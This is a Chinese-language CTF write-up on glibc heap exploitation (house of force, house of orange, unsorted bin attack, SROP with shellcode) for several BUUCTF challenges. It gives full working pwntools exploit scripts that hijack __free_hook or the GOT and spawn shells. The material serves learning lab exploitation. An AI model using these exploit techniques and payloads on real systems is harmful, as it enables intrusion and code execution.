, b"1" ) sla(b"length of the note content:\n" , str(size)) sla(b"Input the content:\n" , content) def edit(index, content): sla(b"option--->>\n" , b"3" ) sla(b"Input the id:\n" , str(index)) sla(b"Input the new content:\n" , content) def free (index): sla(b"option--->>\n" , b"4" ) sla(b"Input the id:\n" , str(index)) sa(b"Input your name:\n" ,b"a" *63 +b"b" ) ru(b"b" ) heap_addr=u32(r(4 )) top_chunk_addr=0xd0 +heap_addr bss_adr=0x804B120 sa(b"Org:\n" ,b"a" *64 ) sla(b"Host:\n" ,p32(0xfffffff1 )) add(bss_adr-top_chunk_addr-4 -0x10 ,b"" ) add(0x18 ,b"a" ) add(0x18 ,b"b" ) add(0x18 ,b"/bin/sh\0" ) edit(1 ,p32(elf.got["puts" ])+p32(bss_adr+0x10 )+p32(elf.got["free" ])+p32(bss_adr+0x40 )) edit(2 ,p32(elf.plt["puts" ])) free (0 )libc_base=u32(ru(b"\xf7" ))-libc.sym["puts" ] edit(2 ,p32(libc_base+libc.sym["system" ])) free (3 )it()
大概的源代码就是这里
remainder=chunk_af_offset(victim,nb)
我们如果把nb构造合适的值,就可以实现向前或者移动top chunk达到任意地址读写
house of orange
题目中没有给free
之类的接口
可以修改top_chunk
的size
域
houseoforange_hitcon_2016 BUUCTF在线评测 (buuoj.cn)
挺复杂的一道题目,需要对libc源码有很清晰的分析
漏洞点分析 首先题目漏洞点很明确,edit可以随意溢出,但问题就是没有free函数 所以我们要想方设法的free掉内容
攻击前提
调试 1 2 3 4 5 6 7 add(0x18,b"a",1,56746) payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1) edit(len(payload),payload,1,2) debug() add(0x1000,b"a",1,2) it() exit(0)
这是分配之前的堆块size,可以看到top chunk size已经变了 第一次由于会自动malloc一个0x10的块,这里其实就是比较熟悉了,会从剩下的top chunk里面切割,把size变小,然后调整flag 第二次是我们攻击的关键、 由于我们需要的size大于当前top chunk的size,所以会发生一些奇妙的内容 这个if肯定就进不去了 进入到我们熟悉的sysmalloc 这里会有几个check,主要有以下几个需要伪造,old_size≥MINISIZE,prev_inuse,还有就是会check old_end是否页对齐,也就是低3位是否全是0, 重新根据需要划分了内存,size就是根据我们需要的nb大小然后页对齐计算的 重新设置top chunk的位置 再old_topchunk后面加了两个0x11的块,暂时不知道有什么作用 如果大小≥MINSIZE,就会free掉,所以我们就成功得到了一个free掉的块,还是unsoerted bin
泄露libc和堆地址 其实后面的过程就稍微好理解了,就是主要的新知识就在于怎么同时泄露堆地址和libc地址
1 2 3 4 5 6 7 8 add(0x18,b"a",1,56746) payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1) edit(len(payload),payload,1,2) add(0x1000,b"a",1,2) debug() add(0x3f8,b"a",1,2) it() exit(0)
这里可以看到有个unsorted bin,也就是上面我们free掉top chunk得到的,那么接下来就是要重新认识一下unsorted bin 第一次分配0x10 当fastbin和smallbin都无法分配的时候,就会进入unsorted bin,这里while循环就是逐步从unsorted bin里面取,当victim=unsorted_chunks的时候就表示里面没有unsorted bin可用了 这里由于我们的unsorted bin是last_remainder,所以他会判断如果请求的大小可以满足,就直接分割就好 这里其实过程很简单,修改size大小,修改unsorted bin里面的指针指向新的内容,也更新了av→last_remainder的信息 上面就是unsorted bin的第一种分配特征,如果当前的unsorted bin里面只有一个last_remainder,如果大小合适的话就直接切割,然后修改信息就好 第二次我们分配一个比较大的,在large bin里面的size 首先上面那个if是不会进入了,所以我们就进入后面的操作 第一步就是把unsorted bin从链子上取下来 从这里开始就是尝试去把这个unsorted bin放入到largebin里面 这里面由于是空的所以if失败 这一步暂时不知道是是什么意思,因为fd_nextsize是指向不同大小的 mark_bin的作用就是标记对应binmap里面有chunk,后面就是完成large bin的上链 然后就会重新进到while循环里面去,这个时候由于unsorted bin空了,所以退出 然后就找到了我们刚刚从unsorted bin里面放入到large bin里面的chunk了 首先就是把这个larege bin取下来,然后由于remainder_size》MINIsize,又被重新放回unsorted bin 设置对应的信息 这里面就是逐步遍历,按照最小匹配原则去寻找 但这里比较奇怪的就是av→last_remainder没有被指到最新的unsorted bin 但因为之后有一个calloc比较小的,有下面这样的操作,当从large bin里面取内容的时候,如果剩下的大小≥MINISIZE,就会被放入unsorted bin中,当请求的nb在smallbin里面,就会把这个剩下的unsoretd bin放入到last_remainde,为什么需要这么判断呢 因为如果请求的是一个smallbin范围的,前面的过程说明small bin,unsorted bin都没有,也表明当前的remainder也没有,所以这个时候我们就可以合理的更新last_remainder位当前这个unsorete bin,但是下面这个操作我是真的没看懂,因为remainder→fd_nextsize是空的,不知道为什么还要弄成NULL,难道不应该把 victim的弄成NULL嘛 所以unsorted bin的时候,只要第一个if的判断是否,那么就会进入后面的解链操作,如果大小在large bin范围就会放入largebin里面,当然第一个判断位true,那就直接从remainder里面切割 接下来就是泄露libc和堆地址,因为这里是printf,所以需要两次,第一次泄露libc,第二次就是把泄露堆地址
1 2 3 4 5 6 7 8 9 10 11 12 add(0x18,b"a",1,56746) payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1) edit(len(payload),payload,1,2) add(0x1000,b"a",1,2) add(0x3f8,b"a",1,2) show() ru(b"Name of house : ") libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-0x7feee024d161+0x7feedfe88000 edit(0x10,b"a"*0x10,1,2) show() ru(b"Name of house : aaaaaaaaaaaaaaaa") heap_addr=u64(rld().ljust(8,b"\0"))
攻击malloc_printrr 首先利用unosrted bin attack往IO_list_all写入main_arena地址,然后利用这个过程中会
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 add(0x18,b"a",1,56746) payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1) edit(len(payload),payload,1,2) add(0x1000,b"a",1,2) add(0x3f8,b"a",1,2) show() ru(b"Name of house : ") libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-0x7feee024d161+0x7feedfe88000 edit(0x10,b"a"*0x10,1,2) show() ru(b"Name of house : aaaaaaaaaaaaaaaa") heap_addr=u64(rld().ljust(8,b"\0")) payload=p64(0)*0x7f+p64(0x21)+p64(0)*2+b"/bin/sh\0"+p64(0x61)+p64(0)+p64(libc_base+libc.sym["_IO_list_all"]-0x10)#unsorted bin attack+fake size fake_IO_structure=p64(0)+p64(1)+p64(0)*0x15+p64(heap_addr+0x500) payload+=fake_IO_structure fake_vtable=p64(0)*3+p64(libc_base+libc.sym["system"]) payload+=fake_vtable edit(len(payload),payload,1,2) sla(b"Your choice : ", b"1") it()
这里我们主要做了就是修改unsorted bin的size,并且修改了bk指针(unosrted bin attack) 这里因为bck被修改了,所以肯定不等于,所以跳过 这里之后就是我说过的 只要过了if判断,并且size≠nb,那么就会接链(unsorted bin attack),分配到对应的small bin,large bin _IO_list_all被修改 这里我们利用放入到smallbin的性质 成功链入 回到while 但这个时候明显我们unsorted bin坏掉了 因为刚才解链的操作导致下一个chunk是我们的伪造的bk,这个大小是0,所以会进入malloc_printerr 我们刚好就要利用的就是malloc_printerr malloc_printerr会经过一些系列的调用链来到_IO_flush_all_lockp,可以打IO
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 int _IO_flush_all_lockp (int do_lock) { int result = 0; struct _IO_FILE *fp; int last_stamp; last_stamp = _IO_list_all_stamp;//0 fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL; if (last_stamp != _IO_list_all_stamp) { /* Something was added to the list. Start all over again. */ fp = (_IO_FILE *) _IO_list_all; last_stamp = _IO_list_all_stamp; } else fp = fp->_chain; } #ifdef _IO_MTSAFE_IO if (do_lock) _IO_lock_unlock (list_all_lock); __libc_cleanup_region_end (0); #endif return result; }
现在再来解释为什么要伪造size 刚才看到了,我们把main_arena上面写入了堆地址,是通过把unsorted bin放入small bin来实现的 可以看到我们写入的0x61的size刚好对应的是IO结构的_chain,也就是我们可以伪造下一个file结构 为什么不直接修改vtable呢,我们可以看这个堆地址,由于需要伪造的OVERfloww刚好是第4个函数,所以他处在的位置是我们不可以直接伪造的,所以只能通过上面这种利用方法来打 下面再看 _IO_flush_all_lockp
1 2 3 4 # define _IO_flockfile(_fp) \ if (((_fp)->_flags & _IO_USER_LOCK) == 0) \ _IO_lock_lock (*(_fp)->_lock) 这个_IO_USER_LOCK为0x8000,如果if为真,那么我们就直接会完蛋,因为下面这个函数执行会出错
而main_arena里面对应的mode>0,所以第二个if也跳过
1 2 3 # define_IO_funlockfile(_fp) \ if (((_fp)->_flags &_IO_USER_LOCK) == 0) \ _IO_lock_unlock (*(_fp)->_lock)
感觉这个exp不稳定就是_IO_flockfile引起的,所以有时候会挂掉,额不管了就是还是直接打就好 第二次就进入了我们伪造的file结构,要保证 mode≤0,write_ptr>write_base
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./houseoforange_hitcon_2016" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") libc = elf.libc if "2.23" in libc.path: one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147] elif "2.27" in libc.path: one_gadget = [0x4F2C5, 0x4F322, 0x10A38C] else: one_gadget = [] if len(sys.argv) > 1: remote_ip = "node4.buuoj.cn" remote_port =27842 io = remote(remote_ip, remote_port) else: io = process(elf_path) def debug(): gdbscript = """ b *$rebase(0xD68) b *$rebase(0xDA5) c x/xg $rebase(0x203070) x/3xg $rebase(0x203068) """ gdb.attach(io, gdbscript=gdbscript) #<=010000 def add(size,content,price,color): sla(b"Your choice : ", b"1") sla(b"Length of name ",str(size)) sa(b"Name :",content) sla(b"Price of Orange:",str(price)) sla(b"Color of Orange:",str(color)) def show(): sla(b"Your choice : ", b"2") def edit(size,content,price,color): sla(b"Your choice : ", b"3") sla(b"Length of name ",str(size)) sa(b"Name:",content) sla(b"Price of Orange:",str(price)) sla(b"Color of Orange:",str(color)) add(0x18,b"a",1,56746) payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1) edit(len(payload),payload,1,2) add(0x1000,b"a",1,2) add(0x3f8,b"a",1,2) show() ru(b"Name of house : ") libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-0x7feee024d161+0x7feedfe88000 edit(0x10,b"a"*0x10,1,2) show() ru(b"Name of house : aaaaaaaaaaaaaaaa") heap_addr=u64(rld().ljust(8,b"\0")) payload=p64(0)*0x7f+p64(0x21)+p64(0)*2+b"/bin/sh\0"+p64(0x61)+p64(0)+p64(libc_base+libc.sym["_IO_list_all"]-0x10)#unsorted bin attack+fake size fake_IO_structure=p64(0)+p64(1)+p64(0)*0x15+p64(heap_addr+0x500) payload+=fake_IO_structure fake_vtable=p64(0)*3+p64(libc_base+libc.sym["system"]) payload+=fake_vtable edit(len(payload),payload,1,2) sla(b"Your choice : ", b"1") it()
把mmap出来的块用top chunk分配 secretHolder_hitcon_2016 BUUCTF在线评测 (buuoj.cn)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./secretHolder_hitcon_2016" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 28722 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *0x400AF8 b *0x4009D2 c x/4xg 0x06020A0 " "" gdb.attach(io, gdbscript=gdbscript) def add(size: int , content: bytes): sla(b"3. Renew secret\n" , b"1" ) sla(b"3. Huge secret\n" , str(size).encode()) sa(b"secret: \n" , content) def free (index: int ): sla(b"3. Renew secret\n" , b"2" ) sla(b"3. Huge secret\n" , str(index).encode()) def edit(index: int , content: bytes): sla(b"3. Renew secret\n" , b"3" ) sla(b"3. Huge secret\n" , str(index).encode()) sa(b"secret: \n" , content) add(3 , b"a" ) free (3 )add(1 , b"a" ) add(2 , b"a" ) free (2 )free (1 )ptr = 0x6020A8 payload = ( p64(0 ) + p64(0x21 ) + p64(ptr - 0x18 ) + p64(ptr - 0x10 ) + p64(0x20 ) + p64(0x90 ) + p64(0 ) * 17 + p64(0x21 ) + p64(0 ) * 3 + p8(1 ) ) add(3 , payload) free (2 )add(1 , b"a" ) edit(3 , p64(0 ) * 2 + p64(elf.got["puts" ]) + p64(ptr - 8 ) + p64(elf.got["free" ])) edit(1 , p64(elf.plt["puts" ])) free (2 )libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["puts" ] edit( 3 , p64(libc_base + next(libc.search(b"/bin/sh\0" ))) + p64(ptr) + p64(elf.got["free" ]), ) edit(1 , p64(libc_base + libc.sym["system" ])) free (2 )it()
这个题目的删除函数只会把flag位清空,但可以一直free
edit会在flag为1编辑
首先分析free函数
no_dyn_threshold为0,表示我们开启了动态threshold大小,这就是导致漏洞的根源,利用动态调整大小来扩大top chunk可以分配的范围
mp_.mmap_threshold初始大小为0x20000,DEAFUALT大小为0x2000000,这里我们刚好满足
所以我们这里调整了threshold的值,这里因为用mmap分配的时候有页对齐,0x61A80对齐到了0x62000
这里free之后我们比较一下两次sysmalloc的区别
第一次由于是初始状态所以走mmap分配
第二次由于我们修改之后所以if不满足
开始走topochunk分配
计算需要的size nb就是malloc的size+0x10,mp_.top_pad就是0x20000
同时当分配largebin的时候,如果有free的fastbin,会把fastbin合并
malloc_consolidate首先把main_arena的flag清空,表示没有free的fastbin
大循环就是fb从fastbiny[0]的地址一直到fastbiny[10]的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 fb = &fastbin (av, 0 ); do { p =atomic_exchange_acq (fb, 0 );,把fastbin里面的值改成0 ,头结点的值取出来 if (p != 0 ) { do { check_inuse_chunk(av, p); nextp = p->fd; size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA); nextchunk =chunk_at_offset(p, size); nextsize =chunksize(nextchunk); if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p =chunk_at_offset(p, -((long ) prevsize)); unlink(av, p, bck, fwd); } if (nextchunk !=av->top) { nextinuse =inuse_bit_at_offset(nextchunk, nextsize); if (!nextinuse) { size += nextsize; unlink(av, nextchunk, bck, fwd); } else clear_inuse_bit_at_offset(nextchunk, 0 ); first_unsorted = unsorted_bin->fd; unsorted_bin->fd = p; first_unsorted->bk = p; if (!in_smallbin_range (size)) { p->fd_nextsize = NULL ; p->bk_nextsize = NULL ; } set_head(p, size |PREV_INUSE); p->bk = unsorted_bin; p->fd = first_unsorted; set_foot(p, size); } else { size += nextsize; set_head(p, size |PREV_INUSE); av->top = p; } } while ( (p =nextp) != 0 ); } } while (fb++ != maxfb);
top chunk上移 actf_2019_actfnote BUUCTF在线评测
这个题目很不错里面有strdup来分配堆,由于strdup的原字符串保存在栈上,而栈上刚好也有可以泄露libc地址的东西,同时可以溢出修改top chunk的size然后分配一个负数,就会上移
malloc的size不能再-0x40~0这个范围内
不错的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * import ctypes it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ACTF_2019_ACTFNOTE" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 26733 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *0x400A20 c x/4xg 0x6020E0 " "" gdb.attach(io, gdbscript=gdbscript) # <=0x20 def add(size: int , name: bytes, content: bytes): sla(b"/$ " , b"1" ) sla(b"note name size: " , str(size).encode()) sa(b"input note name: " , name) sa(b"note content: " , content) def free (index: int ): sla(b"/$ " , b"3" ) sla(b"input note id: " , str(index).encode()) def show(index: int ): sla(b"/$ " , b"4" ) sla(b"input note id: " , str(index).encode()) def edit(index: int , content: bytes): sla(b"/$ " , b"2" ) sla(b"input note id: " , str(index).encode()) sa(b"input new note content: " , content) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out add(0x18 , "a" , "b" * 0x17 + "\xde" ) show(0 ) ru(b"\xde" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\x00" )) - 0x7FB6238E23F2 + 0x7FB623854000 add(0x18 , b"a" , b"a" ) edit(1 , b"/bin/sh\0" + b"a" * 0x10 + p64(-15 + (1 << 64 ))) add(-0x100 , "a" , "2" ) edit(2 , b"a" * 0x10 + p64(libc_base + libc.sym["__free_hook" ])) edit(0 , p64(libc_base + libc.sym["system" ])) free (1 )it()
unsorted bin attack cscctf_2019_final_childrenheap BUUCTF在线评测 (buuoj.cn)
同样利用unsorted bin attack,不过在我们利用unsorted bin attack修改free——hook上方之前可以先free掉0xx68的块,这样不需要修复unsorted bin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./cscctf_2019_final_childrenheap" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 28960 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *$rebase(0xD48) c x/10xg $rebase(0x2020A0) x/5xg $rebase(0x202060) " "" gdb.attach(io, gdbscript=gdbscript) def add(index: int , size: int , content: bytes): sla(b">> " , b"1" ) sla(b"Index: " , str(index).encode()) sla(b"Size: " , str(size).encode()) sa(b"Content: " , content) def free (index: int ): sla(b">> " , b"4" ) sla(b"Index: " , str(index).encode()) def show(index: int ): sla(b">> " , b"3" ) sla(b"Index:" , str(index).encode()) def edit(index: int , content: bytes): sla(b">> " , b"2" ) sla(b"Index: " , str(index).encode()) sa(b"Content: " , content) add(0 , 0x18 , b"a" ) add(1 , 0x68 , b"a" ) add(2 , 0x18 , b"a" ) add(3 , 0xF8 , b"a" ) add(4 , 0x18 , b"a" ) free (0 )edit(2 , p64(0 ) * 2 + p64(0xB0 )) free (3 )add(0 , 0x18 , b"a" ) show(1 ) ru(b"content: " ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7F26245F0B78 + 0x7F262422C000 add(3 , 0x68 , b"a" ) add(5 , 0x100 , b"a" ) free (2 )add(2 , 0x28 , b"a" ) add(6 , 0xE8 , b"a" ) free (2 )global_max_fast_offset = 0x3C67F8 edit(5 , p64(0 ) + p64(libc_base + global_max_fast_offset - 0x10 )) add(2 , 0x28 , b"a" ) free (6 )edit( 5 , p64(0 ) * 5 + p64(0x21 ) + p64(0 ) + p64(libc_base + libc.sym["__free_hook" ] - 0x1D ) + p64(0 ) + p64(0xD1 ), ) free (3 )add(6 , 0x18 , b"a" ) edit(1 , p64(libc_base + libc.sym["__free_hook" ] - 0x10 )) add(3 , 0x68 , b"/bin/sh\0" ) add(7 , 0x68 , p64(libc_base + libc.sym["system" ])) free (3 )it()
rctf_2019_babyheap BUUCTF在线评测
这个题目挺复杂的,需要好好分析
感想都在下面
这里就是exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./rctf_2019_babyheap" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] global_max_fast_offset = 0x3C67F8 elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] lobal_max_fast_offset = 0x0 else : one_gadget = [] lobal_max_fast_offset = 0x0 if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 29090 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): # calloc b *$rebase(0x10FE) gdbscript = "" " b *$rebase(0x11E7) c x/10xg $rebase(0x202110) " "" gdb.attach(io, gdbscript=gdbscript) # <=4096 无洞 def add(size: int ): sa(b"Choice: \n" , b"1" ) sa(b"Size: " , str(size).encode()) # 不会溢出 def edit(index: int , content: bytes): sa(b"Choice: \n" , b"2" ) sa(b"Index: " , str(index).encode()) sa(b"Content: " , content) def free (index: int ): sa(b"Choice: \n" , b"3" ) sa(b"Index: " , str(index).encode()) def show(index: int ): sa(b"Choice: \n" , b"4" ) sa(b"Index: " , str(index).encode()) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out def convert_frame_bytes(frame): res = b"" for i in frame.values(): res += p64(i) return res add(0x18 ) # 0 add(0x18 ) # 1 add(0xF8 ) # 2 add(0x600 ) # 3 free (0 )edit(1 , p64(0 ) * 2 + p64(0x40 )) free (2 )add(0x18 ) # 0 show(1 ) libc_base = u64(rld().ljust(8 , b"\0" )) + 0x7F6913DBD000 - 0x7F6914181B78 add(0x118 ) # 2 free (1 )add(0x28 ) # 1 add(0xE8 ) # 4 free (1 )global_max_fast_addr = libc_base + global_max_fast_offset edit(2 , p64(0 ) + p64(global_max_fast_addr - 0x10 )) add(0x28 ) # 1 free (4 )free_hook_addr = libc_base + libc.sym["__free_hook" ] edit( 2 , p64(0 ) * 5 + p64(0x71 ) + p64(0 ) + p64(free_hook_addr - 0x20 ) + p64(0 ) * 11 + p64(0x81 ), ) add(0x68 ) free (4 )edit(2 , p64(0 ) * 5 + p64(0x71 ) + p64(free_hook_addr - 0x13 )) add(0x68 ) add(0x68 ) new_addr = free_hook_addr & 0xFFFFFFFFFFFFF000 mprotect_addr = libc.sym["mprotect" ] + libc_base frame = SigreturnFrame() frame.rsp = free_hook_addr + 0x8 frame.rdi = new_addr frame.rsi = 0x1000 frame.rdx = 7 frame.rip = mprotect_addr edit(3 , convert_frame_bytes(frame)) setcontext_addr = libc_base + libc.sym["setcontext" ] shellcode = f"" " xor rsi,rsi; xor rdx,rdx; push rdx; mov rax,{convert_str_asmencode(" ././flag")}; push rax; mov rdi,rsp; xor rax,rax; mov al,2; syscall; mov rdi,rax; mov dl,0x40; mov rsi,{free_hook_addr} mov al,0; syscall; xor rdi,rdi; mov al,1; syscall; " "" read_shellcode = f"" " xor rsi,rsi; xor rdx,rdx; mov rdi,1; mov dx,0xffff; mov rsi,{new_addr}; xor rax,rax; mov al,0; syscall; mov rax,{new_addr}; jmp rax; " "" edit( 5 , b"a" * 3 + p64(setcontext_addr + 53 ) + p64(free_hook_addr + 0x10 ) + asm (read_shellcode), ) # debug() free (3 )s(asm (shellcode)) it() exit (0 )
这个题目比较不错,网上有很多种不同的利用方式,这里我就介绍我当时大概的利用方式,具体漏洞原因就在题目里面分析啦 rctf_2019_babyheap
init 这是我第一次要这么认真看init,因为开启了挺多保护的 这个其实就类似于设置option,1刚好对应的就是global_max_fast,这里就是把global_max_fast设置为0 但在我实际做题的时候,global_max_fast是0x10,但起到了禁用效果,因为我们请求的大小会被转化为实际大小,最小也是0x20,(这里不设置0可能是怕和未初始化的时候的0混淆导致重新初始化global_max_fast的值)seccomp 不用说了,就是需要利用orw来读flag,无疑增加了一点点难度
add add里面不写内容,并且使用calloc,所以说我们之前的那种什么free unsorted bin再malloc不管用,因为calloc会清空堆内容,别的没洞
free 没洞,清理的很干净
show 没啥好说的,一般的show操作,大概率用来泄露libc
edit 由于前面的洞不多,那么只有可能这个有洞 其实他这个read函数没问题,长度也写得对的,但跟read函数出来的有关系,我这里反编译有点问题,这是read出来会执行的代码,rdx是我们的长度,rax是堆地址,明显的off by one
小结 到目前位置,题目就只有一个漏洞,off by one,但这个也是很严重的,我们可以利用off by one进行unlink的操作,刚好这里都是unosrted bin,那么可以直接用unsorted bin来unlink,或者对于unsorted bin来说,更好的说法就是unsorted bin的堆块重叠
攻击 这里第四个块本来是为了防止unsorted bin合并到top chunk,但后面因为需要构造一个比较大的堆里面存放srop的内容,所以我就先申请了个比较大的,主要用到的就是前3个堆
泄露libc free(0)
1 2 3 4 5 add(0x18) # 0 add(0x18) # 1 add(0xF8) # 2 add(0x600) # 3 free(0)
因为对于unsorted bin来说,本身就有合并的操作,所以我们就是利用这个合并来导致泄露libc,当然具体合并也是通过unlink实现
chunk伪造 1 edit(1, p64(0) * 2 + p64(0x40))
利用off by one修改prev_size,这里选择f8就是因为size刚好是0x100,off by one不会对大小造成影响
合并
泄露libc 因为我们idx 1的块还存在,所以只要unsorted bin的fd和bk刚好在我们idx1块内就可以泄露,于是再分配0x18个字节
1 2 3 add(0x18) # 0 show(1) libc_base = u64(rld().ljust(8, b"\\0")) + 0x7F6913DBD000 - 0x7F6914181B78
再一次堆块重叠 利用原有的堆块重叠,我们重新做一次重叠,这次目的就是让我们能够修改的size变大,而不仅仅是原来的-x18
收回后续的内存
这里的2就是后面所有的unsorted bin大小,然后我们再free掉1,因为1刚好就只想的是0x118的头
重叠
可以看到我们的idx2对整个区域都是有写的权限的
unsorted bin attack 利用条件
可以控制unsorted bin的bk 效果就是往任意地址写入一个较大的值,这个值其实就是unsorted_bin(av)的地址
攻击 这里就要用到刚才我们构造的堆块重叠,我们在后面的bk可以很轻松的被修改 然后这里大小因为考虑到后面的继续利用,我把0x118(0x120),分成了一个0x28(0x30),一个0xe8(0xf0)
1 2 add(0x28) # 1 add(0xE8) # 4
我们就利用中间这个0x31进行unsorted bin attack
修改unsorted bin的bk为指定地址 1 2 3 free(1) global_max_fast_addr = libc_base + global_max_fast_offset edit(2, p64(0) + p64(global_max_fast_addr - 0x10))
